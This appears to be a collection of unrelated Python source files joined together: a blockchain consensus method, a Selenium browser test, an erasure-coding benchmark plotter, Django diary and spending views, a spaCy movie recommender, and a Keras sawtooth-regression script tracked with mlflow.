        """
        共识算法解决冲突
        使用网络中最长的链.
        :return: <bool> True 如果链被取代, 否则为False
        """
        neighbours = self.nodes
        new_chain = None

        max_length = len(self.chain)

        # Grab and verify the chains from all the nodes in our network
        for node in neighbours:
            response = requests.get(f'http://{node}/chain')

            if response.status_code == 200:
                length = response.json()['length']
                chain = response.json()['chain']

                # Check if the length is longer and the chain is valid
                if length > max_length and self.valid_chain(chain):
                    max_length = length
                    new_chain = chain

        # Replace our chain if we discovered a new, valid chain longer than ours
        if new_chain:
            self.chain = new_chain
            return True

        return False
'''
    #块结构
    block = {
        #索引
        'index': 1,
        'timestamp': 1506057125.900785,
        #交易列表
        'transactions': [
            {
                'sender': "8527147fe1f5426f9dd545de4b27ee00",
                'recipient': "a77f5cdfa2934df3954a5c7c7da5df1f",
                'amount': 5,
            }
        ],
        #工作量证明
        'proof': 324984774000,
        #前一块hash
        'previous_hash': "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824"
    }
'''


import unittest
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.action_chains import ActionChains

from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
import  time
# 测试浏览导航 back forword
class baiduSearch(unittest.TestCase):
    def setUp(self):
        # self.driver = webdriver.PhantomJS(executable_path="C:\\phantomjs.exe")
        self.driver = webdriver.Chrome(executable_path="C:\\chromedriver.exe")
        self.driver.set_window_size(1920,1080)

    def test_search_in_baidu(self):
        driver =self.driver

        driver.get("http://www.baidu.com")

        self.assertIn("百度",driver.title)
        elem = driver.find_element_by_name('wd')
        elem.send_keys("pycon")
        elem.send_keys(Keys.RETURN)
        time.sleep(1)

    def test_back_in_chrome(self):
        driver = self.driver
        driver.get("https://www.sina.com.cn/")

        driver.get("https://mil.news.sina.com.cn/")
        driver.back()   #回退
        driver.forward()  #前进
        driver.refresh()  #刷新

    def tearDown(self):
        self.driver.quit()
        print("quit ____________________")
if  __name__ == "__main__":
    unittest.main()


#!/usr/bin/env python
'''
:mod:`module.ecb`
'''

import re
import math
from mpl_toolkits.mplot3d import axes3d
from matplotlib import cm
from scipy.interpolate import griddata
import matplotlib.patches as mpatches
import matplotlib.pyplot as plt

import numpy as np

from module import AbstractModule
from util import SizeUtils
from util import NumberUtils

class ECB(AbstractModule):
    '''
    ECB
    '''
    """Regexp pattern for logs generated by RawErasureCoderBenchmark."""
    PATTERN_ECB = r"Using (?P<buffer_size>\S+) buffer\.\n(?:.*?\n)*?(?P<coder>.*?) coder (?P<method>\S+?)\s(?P<total_data_size>\S+) data, with chunk size (?P<chunk_size>.*?)\nTotal time: (?P<total_time>.*?)\ss\.\nTotal throughput: (?P<total_throughput>.*?) MB/s\nThreads statistics:\s*(?P<threads_num>.*?) threads in total\.\nMin: (?P<time_min>.*?) s, Max: (?P<time_max>.*?) s, Avg: (?P<time_avg>.*?) s, 90th Percentile: (?P<time_90>.*?) s\."

    """Regexp terms for finding fields in ECB logs"""
    FIELDS_ECB = [
        'buffer_size', 'coder', 'method', 'total_data_size', 'chunk_size', 'total_time',
        'total_throughput', 'threads_num', 'time_min', 'time_max', 'time_avg', 'time_90'
    ]

    TYPES_ECB = [
        "TotalThroughput", "Throughput", "Latency"
    ]

    def __init__(self, sub_type):
        if sub_type not in self.TYPES_ECB:
            raise Exception("{} is not one of {}".format(sub_type, self.TYPES_ECB))
        self.sub_type = sub_type

    def delimeter(self):
        return "**********"
    def pattern(self):
        return re.compile(self.PATTERN_ECB)
    def split_info(self, parts):
        fields = self.FIELDS_ECB
        results = []

        for part in parts:
            result = {}
            for sectionname in fields:
                value = part[sectionname]
                if sectionname == 'buffer_size':
                    value = SizeUtils.convert_size(value)
                if sectionname == 'chunk_size':
                    value = SizeUtils.convert_size(value)
                if sectionname == 'total_data_size':
                    value = SizeUtils.convert_size(value)
                value = NumberUtils.as_number_otherwise_string(value)
                result[sectionname] = value
            results.append(result)
        return results
    def num_plots(self):
        return 1
    def xy_data(self, data):
        xdata = set()
        ydata = set()
        for cell in data:
            xdata.add(cell['chunk_size'])
            ydata.add(cell['threads_num'])
        self.xdata = sorted(xdata)
        self.ydata = sorted(ydata)
    def preprocess_data(self, data):
        results = {}
        for cell in data:
            coder = cell["coder"].replace("Java", "").strip()
            if coder == "Mellanox":
                coder = "Mellanox EC Offload"
            elif coder == "ISA-L":
                coder = "Intel ISA-L"

            method = cell["method"]
            chunk_size = cell["chunk_size"]
            buffer_size = cell["buffer_size"]
            threads_num = cell["threads_num"]
            factor = buffer_size * threads_num
            iteration = cell["total_data_size"] / factor

            if self.sub_type == "TotalThroughput":
                result = cell["total_throughput"]
            elif self.sub_type == "Throughput":
                result = cell["total_throughput"] / threads_num
            else:
                result = cell["time_avg"]

            if method not in results:
                results[method] = {}
            if iteration not in results[method]:
                results[method][iteration] = {}
            if chunk_size not in results[method][iteration]:
                results[method][iteration][chunk_size] = {}
            if threads_num in results[method][iteration][chunk_size] \
                    and results[method][iteration][chunk_size][threads_num]:
                results[method][iteration][chunk_size][threads_num].append(result)
            else:
                results[method][iteration][chunk_size][threads_num] = [result]

        for method in results:
            for iteration in results[method]:
                for chunk_size in results[method][iteration]:
                    for threads_num in results[method][iteration][chunk_size]:
                        results[method][iteration][chunk_size][threads_num] = \
                            np.mean(results[method][iteration][chunk_size][threads_num])
        self.coder = coder
        self.results = results

    def generate_ticks(self):
        xcount = len(self.xdata)
        xtick_label_stepsize = xcount / 15
        if xtick_label_stepsize == 0:
            xtick_label_stepsize = 1
        self.xticks = np.arange(0, xcount, xtick_label_stepsize)
        self.xtick_labels = [SizeUtils.number_to_size(self.xdata[i]) for i in self.xticks]

        ycount = len(self.ydata)
        ytick_label_stepsize = ycount / 15
        if ytick_label_stepsize == 0:
            ytick_label_stepsize = 1
        self.yticks = np.arange(0, ycount, ytick_label_stepsize)
        self.ytick_labels = [self.ydata[i] for i in self.yticks]

    def paint(self, fig):
        x_labels = 14
        y_labels = 7
        method = "encode"
        blocks = 1024

        ax = fig.gca(projection='3d')
        results = self.results[method][blocks]
        xticks, yticks = np.meshgrid(self.xticks, self.yticks)
        xdata, ydata = np.meshgrid(self.xdata, self.ydata)

        if self.sub_type != "Latency":
            unit, zticks = self.__throughput_array(results, xdata, ydata)
        else:
            unit = "sec"
            zticks = np.array([results[x][y] for x, y in zip(np.ravel(xdata), np.ravel(ydata))])

        zticks = zticks.reshape(xdata.shape)
        ax.plot_surface(xticks, yticks, zticks, alpha=0.6)
        xtick_labels = [self.xtick_labels[int(x)] for x in ax.get_xticks() if int(x) in range(len(self.xtick_labels))]
        ytick_labels = [self.ytick_labels[int(y)] for y in ax.get_yticks() if int(y) in range(len(self.ytick_labels))]
        x_plane = ax.contour(xticks, yticks, zticks, zdir='x', offset=0 - 0.230, cmap=cm.Dark2)
        y_plane = ax.contour(xticks, yticks, zticks, zdir='y', offset=y_labels - 1 + 0.130, cmap=cm.cool)
        x_legends = ["chunk size: {}".format(x) for x in xtick_labels]
        y_legends = ["#threads: {}".format(y) for y in ytick_labels]

        for i in range(len(xtick_labels)):
            if (i % 2) == 1:
                xtick_labels[i] = ""
        for i in range(len(ytick_labels)):
            if (i % 2) == 1:
                ytick_labels[i] = ""
        if self.sub_type == "TotalThroughput":
            title = "Total Throughput"
        else:
            title = self.sub_type

        ax.set_zlabel('{} ({})'.format(title, unit))
        plt.title('{} - {}'.format(title, self.coder))
        ax.set_xlabel('Chunk Size')
        ax.set_ylabel('#Threads')
        ax.set_xlim(0, x_labels - 1)
        ax.set_ylim(0, y_labels - 1)
        ax.set_zlim(0)
        ax.set_xticklabels(xtick_labels)
        ax.set_yticklabels(ytick_labels)

        x_num = len(x_plane.collections)
        y_num = len(y_plane.collections)
        lg = plt.legend(x_plane.collections + y_plane.collections,
                        x_legends[(len(x_legends) - x_num):] + y_legends[(len(y_legends) - y_num):],
                        ncol = int(math.ceil(x_num + y_num) / 4), bbox_to_anchor=(0.95, 0), frameon=False)
        if lg is not None:
            lg.get_frame().set_alpha(0)
            lg_txts = lg.get_texts()
            plt.setp(lg_txts, fontsize=6)
        box = ax.get_position()
        ax.set_position([box.x0 - box.width * 0.1, box.y0 + box.height * 0.14, box.width, box.height])

    def __throughput_array(self, source, xdata, ydata):
        temp_array = [source[x][y] for x, y in zip(np.ravel(xdata), np.ravel(ydata))]
        unit = "MB/sec"
        if np.mean(temp_array) > 5 * 1024:
            temp_array = [x / 1024 for x in temp_array]
            unit = "GB/sec"
        return (unit, np.array(temp_array))


from django.shortcuts import render,redirect
from django.http import HttpResponse
from django.contrib.auth.decorators import login_required
from django.contrib import messages
from .models import Diary

# Create your views here.

@login_required(login_url='login-page')
def diary_index(request):
    context ={
        'index' : True
    }
    return render(request,"mydiary/diary_home.html",context)

@login_required(login_url='login-page')
def view_all_content(request):

    data = Diary.objects.filter(user=request.user)
    context = {
        'view_list': True,
        'data':data,
    }
    return render(request, "mydiary/view_content.html", context)

@login_required(login_url='login-page')
def add_new_content(request):
    context = {
        'add_new': True
    }
    if request.method == 'POST':
        user_title = request.POST['title']
        user_content = request.POST['content']
        print(user_title,user_content)
        obj = Diary(user=request.user,title=user_title,content=user_content)
        obj.save()
        messages.success(request,'Saved Successfully')
        return redirect('diary-add')
    else:
        return render(request, "mydiary/add_new.html", context)

@login_required(login_url='login-page')
def delete_content(request,id):
    obj = Diary.objects.filter(user=request.user, id=id)
    if not obj:
        messages.error(request, 'Not found')
        return redirect('diary-view')
    obj.delete()
    messages.success(request, 'Delete Successfully')
    return redirect('diary-view')


from django.urls import path
from . import views

app_name = 'spendings'

urlpatterns = [
    path("", views.index, name="index"),
    path("all_spendings/", views.SpendingsView.as_view(), name="all_spendings"),
    path("<int:pk>/", views.SpendingDetailView.as_view(), name="spending_details"),
    path("spending/", views.SpendingCreateView.as_view(), name="add"),
]


# building a system that will tell the user what to watch next based on the word vector similarity of the description of movies.

import numpy as np
import spacy

nlp = spacy.load('en_core_web_md')

with open('movies.txt', 'r') as f:
    descriptions = f.readlines()

def suggest_movie(description):
    # Tokenise the input description and remove stop words
    doc = nlp(description.lower())
    words1 = [token.text for token in doc if token.is_alpha and not token.is_stop]
    # Find the similarity between the input document and movies.txt
    similarity = [nlp(desc.lower()).similarity(doc) for desc in descriptions]
    # Find the index of the most similar movie
    sim_index = np.argmax(similarity)
    # Return the title of the most similar movie
    return descriptions[sim_index]

description = "Will he save their world or destroy it? When the Hulk becomes too dangerous for the Earth, the Illuminati trick Hulk into a shuttle and launch him into space to a planet where the Hulk can live in peace. Unfortunately, Hulk lands on the planet Sakaar where he is sold into slavery and trained as a gladiator."
suggested_movie = suggest_movie(description)
print(f"We recommend: [{suggested_movie} ]for your next watch.")


from keras import models
from keras import layers
import numpy as np
import matplotlib.pyplot as plt
from sklearn.model_selection import train_test_split
import pandas as pd
import mlflow
mlflow.autolog()
mlflow.set_experiment("SAW approximate and predict new data FINAL")
def generatesaw():
    x = np.linspace(0, 50, 10000)
    sawx = x % 4.0
    y = x % 4.0

    return x, sawx, y

def build_model():
    model = models.Sequential()
    #model.add(layers.Dense(2))

    model.add(layers.Dense(100, activation='tanh'))
    model.add(layers.Dense(50, activation='tanh'))
    model.add(layers.Dense(25, activation='tanh'))
   # model.add(layers.Dense(32, activation='tanh'))

    # ok result
    # model.add(layers.Dense(256, activation='tanh'))
    # model.add(layers.Dense(256, activation='tanh'))
    # model.add(layers.Dense(128, activation='tanh'))
    # model.add(layers.Dense(32, activation='tanh'))
    #model.add(layers.Dense(4, activation='tanh'))
   # model.add(layers.Dropout(rate=0.1))
    #model.add(layers.Dense(2, activation='hard_sigmoid'))

    model.add(layers.Dense(1))
    model.compile(optimizer='adam', loss='mse', metrics=['mse'])
    return model

if __name__ == "__main__":
    with mlflow.start_run(run_name="good run"):
        x, sawx, y = generatesaw()
        # x = x.reshape(-1, 1)
        # sawx = sawx.reshape(-1, 1)
        # y = y.reshape(-1, 1)

        d = {'x' : x, 'sawx': sawx, 'y' :y}
        data = pd.DataFrame(d)
        print(data)
        X_train, x_test, Y_train, y_test = train_test_split(data[['x', 'sawx']], data['y'], test_size=0.25, shuffle=False)
        print(X_train)
        model = build_model()

        # x_test = np.linspace(6, 12, 1000)
        # y_test = 2*np.saw(10*x)+ np.random.randn(*x.shape) * 0.3

        model.fit(X_train, Y_train, epochs=100, batch_size=80, validation_data=(x_test, y_test))
        #predictedY = model.predict(y_test)

        # переопределяем xy с новыми данными
        x = np.linspace(0, 75, 12000)
        y = x % 4.0
        sawx = x % 4.0

        dd = {'x' : x, 'sawx': sawx, 'y' :y}
        expandedData = pd.DataFrame(dd)
        predictedY = model.predict(expandedData[['x', 'sawx']])

        plt.subplot(211)
        plt.plot(X_train['x'], Y_train, c = 'r', label = "train data")

        plt.plot(expandedData['x'], predictedY, c='b', linewidth = 1, label = "original data + new data")
        plt.legend(loc='upper left')
        plt.subplot(212)
        plt.plot(x, y, c = 'y', label = "original ALL data")
        plt.plot(expandedData['x'], predictedY, c ='m', label = "original + expanded data, predictedY")
        plt.legend(loc='upper left')
        mlflow.log_figure(plt.gcf(), "approximate + predict on new data.png")
        #plt.plot(x_test, predictedY)
        plt.show()

timeSeries mlflow Final/timeSeriesSin sawX feature predict All data.py